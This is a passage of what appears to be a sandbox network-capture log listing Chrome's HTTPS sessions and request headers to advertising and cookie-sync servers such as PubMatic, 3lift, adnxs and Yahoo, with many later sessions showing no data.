2024-05-23 22:35:20 UTC	2928	OUT	GET /AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:43284586-fe07-4c17-87a1-9cb2bf3db0d7&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.6	50706	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	727	OUT	GET /xuid?mid=3702&xuid=6a235f9e-9b26-4d12-95f6-f4919d5fecf1&dongle=d54f&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.6	50698	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	2928	OUT	GET /AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:40e3a1ba-abe7-4536-b88d-03ef8c64a2f3&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.6	50700	185.89.210.46	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	1151	OUT	GET /getuid?https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D480%26ssp%3Dthemediagrid%26user_id%3D%24UID%26&gdpr=&gdpr_consent= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586; anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbW8bhzs#DNB)PYwUrZegYA'NVRTJqeK^1%ykaE8HvwP?JgqF1`b^]^(Ut+9; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjE4WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.6	50703	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	697	OUT	GET /xuid?mid=2460&dongle=dba8&xuid=Ldu6nP-f8GRn9WiN8PL4&gdpr=0 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.6	50697	3.121.27.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	799	OUT	GET /match?gdpr=0&gdpr_consent=&uid=1&bid=gdo9o51&newuser=1&dc_rc=1&dc_mr=5&dc_orig=3b2cb90&referrer_pid=3b2cb90&google_gid=CAESECdmKSST8ExrZlHjAi0CNto&google_cver=1 HTTP/1.1 Host: ps.eyeota.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mako_uid=18fa798132e-20f10000010f4f61; SERVERID=20321~DM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.6	50688	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	1836	OUT	POST /p?s=1197805788&t=jxih8VuglGVJAyGN,0.9841522137727721&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03440%04_E%03dwell%04_ts%031716503712%04_ms%03462%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.6	50711	52.46.155.104	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	701	OUT	GET /x/757c0557066e95cfd4c7?gdpr=0&gdpr_consent=&uid=3476490108663385185440 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.6	50708	198.47.127.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	2792	OUT	GET /AdServer/SPug?partnerID=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.6	50701	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	1925	OUT	GET /setuid?bidder=criteo&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=k-os4sMli6URtcDguFrQaFmRv9MKiv5LmPxYc90Q HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiI5MTY1OTY1Mzk3NTEwNDUzNTg2IiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTguNzI1MzI1OTA1WiJ9LCJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTk [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.6	50712	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	699	OUT	GET /xuid?mid=7255&xuid=AANRF07Mn4kAABWNJQroRw&dongle=bzwx&gdpr=0 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.6	50713	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.6	50699	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.6	50692	3.65.80.227	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.6	50715	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.6	50717	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.6	50718	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.6	50716	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.6	50721	52.17.55.191	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.6	50725	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.6	50722	54.194.31.123	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.6	50724	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.6	50731	35.244.174.68	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.6	50727	216.58.206.70	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.6	50723	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.6	50729	52.17.55.191	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.6	50726	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.6	50738	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.6	50739	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.6	50734	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.6	50733	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.6	50735	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.6	50730	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.6	50741	50.57.31.206	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.6	50740	198.47.127.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.6	50736	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.6	50732	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.6	50737	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.6	50744	34.160.236.64	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.6	50742	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.6	50743	46.228.164.13	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.6	50755	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.6	50753	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.6	50745	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.6	50746	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.6	50758	54.225.218.25	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.6	50762	107.178.254.65	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.6	50747	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.6	50750	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.6	50760	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.6	50759	141.94.171.212	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.6	50756	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.6	50757	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
